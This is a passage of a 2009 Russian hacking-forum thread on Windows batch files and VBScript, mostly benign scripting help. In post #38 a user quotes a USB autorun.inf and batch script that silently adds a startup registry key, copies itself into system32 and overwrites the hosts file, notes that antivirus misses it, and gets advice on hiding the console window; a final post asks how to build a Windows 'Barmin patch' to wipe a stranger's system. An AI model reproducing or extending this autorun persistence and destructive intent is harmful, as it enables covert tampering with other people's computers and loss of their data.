ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Windows
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #31  
Старый 19.01.2009, 19:34
Аватар для SpangeBoB
SpangeBoB
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме:
5914048

Репутация: 1350


По умолчанию

Только стороние решения или программы.Стандартных нет.Так что лучше взять vbscript ,который везде заведется =)
 
Ответить с цитированием

  #32  
Старый 19.01.2009, 19:48
Аватар для Cthulchu
Cthulchu
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме:
4468361

Репутация: 1549


Отправить сообщение для Cthulchu с помощью ICQ
По умолчанию

не верю, что извратиться с цмд нельзя, (какой-то выход должен быть) но верю, что на ВБ это проще сделать, посему завтра - ВБ... эххх...
 
Ответить с цитированием

  #33  
Старый 19.01.2009, 20:14
Аватар для SpangeBoB
SpangeBoB
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме:
5914048

Репутация: 1350


По умолчанию

Чуть по легче скрипт для VBScript.

Цитата:
Const ForReading = 1
Const ForWriting = 2

strFileName = Wscript.Arguments(0)
strOldText = Wscript.Arguments(1)
strNewText = Wscript.Arguments(2)

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFileName, ForReading)

strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)

Set objFile = objFSO.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
И легко применяется в bat файле.

cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James "

Чтоб не таскать с собой 2 файла можно сделать bat:

Цитата:
@echo off
echo Const ForReading = 1 > replace.vbs
echo Const ForWriting = 2 >> replace.vbs

echo strFileName = Wscript.Arguments(0) >> replace.vbs
echo strOldText = Wscript.Arguments(1) >> replace.vbs
echo strNewText = Wscript.Arguments(2) >> replace.vbs

echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForReading) >> replace.vbs

echo strText = objFile.ReadAll >> replace.vbs
echo objFile.Close >> replace.vbs
echo strNewText = Replace(strText, strOldText, strNewText) >> replace.vbs

echo Set objFile = objFSO.OpenTextFile(strFileName, ForWriting) >> replace.vbs
echo objFile.WriteLine strNewText >> replace.vbs
echo objFile.Close >> replace.vbs

cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""

del replace.vbs

Последний раз редактировалось SpangeBoB; 19.01.2009 в 20:25..
 
Ответить с цитированием

  #34  
Старый 20.01.2009, 16:02
Аватар для Cthulchu
Cthulchu
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме:
4468361

Репутация: 1549


Отправить сообщение для Cthulchu с помощью ICQ
По умолчанию

Спанч, вот это ты жжешь! Скажи, а что значит строка
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
а точнее, - что такое cscript?
Хотя, у меня и без этой строки запустилось. Клево!
---
а как запустить вб скрипт из-под цмд коммандой старт так, что бы следующая комманда после старта выполнялась только после того, как закончитт выполняться запускаемое приложение?
Я вб скрипт еще не отладил, так что он пока не закрывается
 
Ответить с цитированием

  #35  
Старый 20.01.2009, 18:36
Аватар для SpangeBoB
SpangeBoB
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме:
5914048

Репутация: 1350


По умолчанию

Так что использую после второй скрипт ,с помощью cscript происходит запуск сценария после его отработки он удаляется.Любой vbscript,jscript запускать через cscript.exe

Цитата:
Программа Cscript.exe является интерфейсом командной строки сервера сценариев, который позволяет указать параметры для настройки свойств сценария.

cscript replace.vbs "C:\replace.txt" "Jam" "james"

replace.vbs - сам скрипт vbs
"Jam"-фраза для замены
"james" - на что заменяем


С помощью программы Cscript.exe можно запустить сценарий, введя имя его файла в командной строке. Как Microsoft Internet Explorer сервер сценариев Windows служит контроллером средств обработки сценариев Windows, однако для его работы требуется очень небольшой объем памяти. Сервер сценариев Windows оптимально подходит как для интерактивных, так и для пакетных сценариев, таких как сценарий входа в систему и сценарий администрирования.
Сервер сценариев Windows поддерживает сценарии, написанные в редакторах VBScript и Jscript. При запуске сценария с рабочего стола или из командной строки сервер сценария считывает и передает содержимое указанного файла в зарегистрированный обработчик сценариев. Расширения файлов (.vbs для VBScript и .js для JScript) используются в обработчике сценариев для определения языка сценария. Благодаря этому, разработчик сценария не обязан знать точный программный идентификатор (ProgID) обработчика сценариев. Сопоставление расширения имени файла сценария с программным идентификатором и запуск конкретного обработчика сценариев осуществляется сервером сценариев Windows XP.

Последний раз редактировалось SpangeBoB; 20.01.2009 в 18:38..
 
Ответить с цитированием

  #36  
Старый 21.01.2009, 01:48
Аватар для Cthulchu
Cthulchu
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме:
4468361

Репутация: 1549


Отправить сообщение для Cthulchu с помощью ICQ
По умолчанию

спанч, спасибо.
Но почему у меня вб скрипт запустился как вб скрипт коммандой start? Может инфа не совсем актуальна для MS Windows XP SP3? Там еще сборка зверевская Лего... Может в ней какие-то патчи...
 
Ответить с цитированием

  #37  
Старый 21.01.2009, 02:18
Аватар для SpangeBoB
SpangeBoB
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме:
5914048

Репутация: 1350


По умолчанию

Существует cscript.exe и wscript.exe,в твоей системе идет привязка к cscript.exe.Т.е выполнение команд и отчет об ошибках будет отображаться в командной строке.Поэтому при запуске бат файла создается временное окно,в котором и выполненяется сценарий.Wscript.exe не используется консольный вывод,а использует обычные окна сообщений среды.

Для изменения сервера сценария(лучше не изменять):

cscript //H:cscript(wscript) //nologo //s

Последний раз редактировалось SpangeBoB; 21.01.2009 в 02:27..
 
Ответить с цитированием

  #38  
Старый 25.03.2009, 14:34
Аватар для Cthulchu
Cthulchu
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме:
4468361

Репутация: 1549


Отправить сообщение для Cthulchu с помощью ICQ
По умолчанию

так, в тот раз я все прекрасно сделал и фортки перестали автоматом запускать автораны флех, сегодня с утра коллега приносит авторан и говорит, мол, зацени.
Это просто, элегантно и весело:
Код:
[autorun]
action=Открыть папку для просмтра файлов
shellexecute=1.cmd
icon=folder.ico
shell\Open\Command=1.cmd
shell\Open\Default=1
shell\Autoplay\Command=1.cmd
показываю 1.cmd
Код:
echo off 
reg add  HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  /v Inet /t REG_SZ /d "C:\Windows\system32\crgdf.cmd" /f
copy /Y crgdf.cmd %WINDIR%\system32\
copy /Y hosts %WINDIR%\system32\
Самое веселое, что эти действия никто не палит, кроме висловской системы, которая очень любит переспрашивать - уверены ли мы (UAC). А на Хп - отличненько все крутится с включенным НОД32.
Скрипт коллега писал для того, что бы сделать своему другу западло и поменять хостс.ини, сделав переадресацию с многих порно сайтов на локалхост. Сегодня вечером пошутит, а меня интересует следующее:

Как сделать так, что бы ЦМДшное окошко не было видно при запуске. Гуглил. Запрос такой трудно нагуглить.
---
И еще, как сделать так, что бы батничек, который запускался с какой-то директории выполнял
change directory to current directory?

В конце выполнения инфа и цмд, должна открываться директория флешки, но выполняются эти скрипты из флешки, тобишь надо в конце цмд выполнить explorer с данной директории, которая может варироваться.
---
ключи для эксплорера:

Код:
/e - Вид Проводника по умолчанию (двухпанельное), иначе выводится как однопанельное (как Папка). 
/e, object - Открывается Проводник с видом по умолчанию и с фокусом на заданной папке (Explorer /e,C:\Windows) 
/n - Открытие однопанельного нового окна на диске, на котором установлена система (C:\). Иначе информация выводится в существующем окне Проводника, если оно открыто. 
/root, object - Указывает на то, что корнем будет object - это дисковод (сетевой или локальный) или папка. Иначе корнем считается Рабочий стол. (Explorer /root, C:\Windows\Cursors) 
/select, object - Указывает на необходимость открытия Родительской папки объекта object и выделит object (Explorer /select, C:\Windows\Cursors\banana.ani). 
По умолчанию Проводник открывается на диске C:, но вы можете изменить это поведение, заставляя его, к примеру, открывать при запуске папку D:\MyDownload. Для этого, найдите ярлык к Проводнику, щелкните правой кнопкой и выберите свойства. Выберите вкладку Ярлык. Отредактируйте строчку Объект - C:\WINDOWS\EXPLORER.EXE /n,/e,D:\MyDownload.

Если создать ярлык и указать в качестве командной строки "C:\WINDOWS\EXPLORER.EXE /ROOT," (без кавычек, но с запятой в конце), то этот ярлык будет открывать рабочий стол (desktop). Причем, в проводнике будут показаны и системные иконки (сетевое окружение, outlook и т.д.).

Последний раз редактировалось Cthulchu; 25.03.2009 в 16:30..
 
Ответить с цитированием

  #39  
Старый 25.03.2009, 19:01
Аватар для SpangeBoB
SpangeBoB
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме:
5914048

Репутация: 1350


По умолчанию

1) Окно cmd можно спрятать с помощью http://www.commandline.co.uk/cmdow/,команда
cmdow /run /hid mybat

2)change directory to current directory? -Это как сменить директорию на текущую,если мы и так в ней.

3)Если скрипты выполняются из корня,а открыть надо подпапку,то можно использовать

for /F %%i in ('cd') do explorer "%%~dpi1"
где 1 директория в корне.
 
Ответить с цитированием

  #40  
Старый 31.03.2009, 16:28
Аватар для Cthulchu
Cthulchu
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме:
4468361

Репутация: 1549


Отправить сообщение для Cthulchu с помощью ICQ
По умолчанию

Спасибо, юзаю
А как создать "Патч Бармина" под виндовзХП, хочу поиздеваться над "Гостями гугловского ВиО"
Вот доступное описание патча под никсы:
_http://ru.wikipedia.org/wiki/Патч_Бармина

Последний раз редактировалось Cthulchu; 31.03.2009 в 18:07..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопросы по бруту! PXM ICQ 35 01.01.2010 22:22
Ответы на часто задаваемые вопросы + линки на статьи по SQL/XSS/PHP-инклуд Jokester Уязвимости 2 28.06.2009 00:19
Вопросы программирования на FORTRAN (ФОРТРАН) LenarVS С/С++, C#, Delphi, .NET, Asm 8 22.06.2009 23:31
Вопросы по созданию Rainbow от 8 символов для MD5 Thanat0z Расшифровка хешей 12 11.02.2007 04:12
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ